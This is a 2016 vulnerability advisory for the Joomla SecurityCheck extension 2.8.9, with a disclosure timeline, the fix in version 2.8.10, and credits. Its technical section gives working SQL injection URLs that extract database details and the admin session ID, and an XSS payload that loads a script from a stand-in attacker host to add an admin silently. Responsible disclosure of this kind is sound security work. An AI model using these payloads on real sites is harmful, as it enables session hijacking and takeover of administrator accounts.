Joomla SecurityCheck 2.8.9 Cross Site Scripting / SQL Injection
Posted on 01 June 2016
Information ------------------------------ Advisory by ADEO Security Team Name: Stored XSS and SQL Injection in Joomla SecurityCheck extension Affected Software : SecurityCheck and SecurityCheck Pro Vulnerable Versions: 2.8.9 (possibly below) Vendor Homepage : https://securitycheck.protegetuordenador.com Vulnerabilities Type : XSS and SQL Injection Severity : High Status : Fixed Technical Details ------------------------------ PoC URLs for SQL Injection For determining database, user and version. http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1 http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1 http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1 For steal admin's session ID (If admin is not online, page response with attack detected string. If online, response with admin's session ID) http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON %23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON % 23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1 PoC URLs for XSS Add a new admin to website silently while admin checking SecurityCheck logs http://website/index.php?option=<script>var script = document.createElement('script');script.src = "http://ATTACKER/attack.js ";document.getElementsByTagName('head')[0].appendChild(script);</script> attack.js https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca Disclosure Timeline ------------------------------ 24/05/2016 SQL injection found 30/05/2016 Worked on one-shot exploit for SQLi 30/05/2016 While we were working on SQLi payload we also found XSS 31/05/2016 XSS payload prepared 31/05/2016 Vulnerability details and PoC sent to Protegetuordenador 31/05/2016 Vulnerabilities fixed in v2.8.10 Solution ------------------------------ Update to the latest version of SecurityCheck (2.8.10) Credits ------------------------------ These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and Muhammet Dilmac (muhammetdilmac.com.tr).
